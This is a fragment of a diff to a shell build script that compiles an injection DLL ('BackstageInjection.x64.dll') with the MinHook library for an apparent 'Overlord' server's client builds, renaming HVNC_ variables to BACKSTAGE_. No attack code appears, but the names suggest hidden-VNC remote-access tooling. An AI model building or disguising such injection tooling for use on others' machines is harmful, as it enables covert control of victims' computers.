if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
return 1
fi
+4 -4
View File
@@ -24,12 +24,12 @@ ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
cd "$ROOT"
CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_SRC_DIR:-BackstageInjection/src}"
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
SRC_DIR="${BACKSTAGE_SRC_DIR:-BackstageInjection/src}"
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="BackstageInjection.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}"
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}"
mkdir -p "$OUT_DIR"
@@ -102,7 +102,7 @@ if ! command -v "$CC" >/dev/null 2>&1; then
fi
fetch_minhook() {
if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then
return 1
fi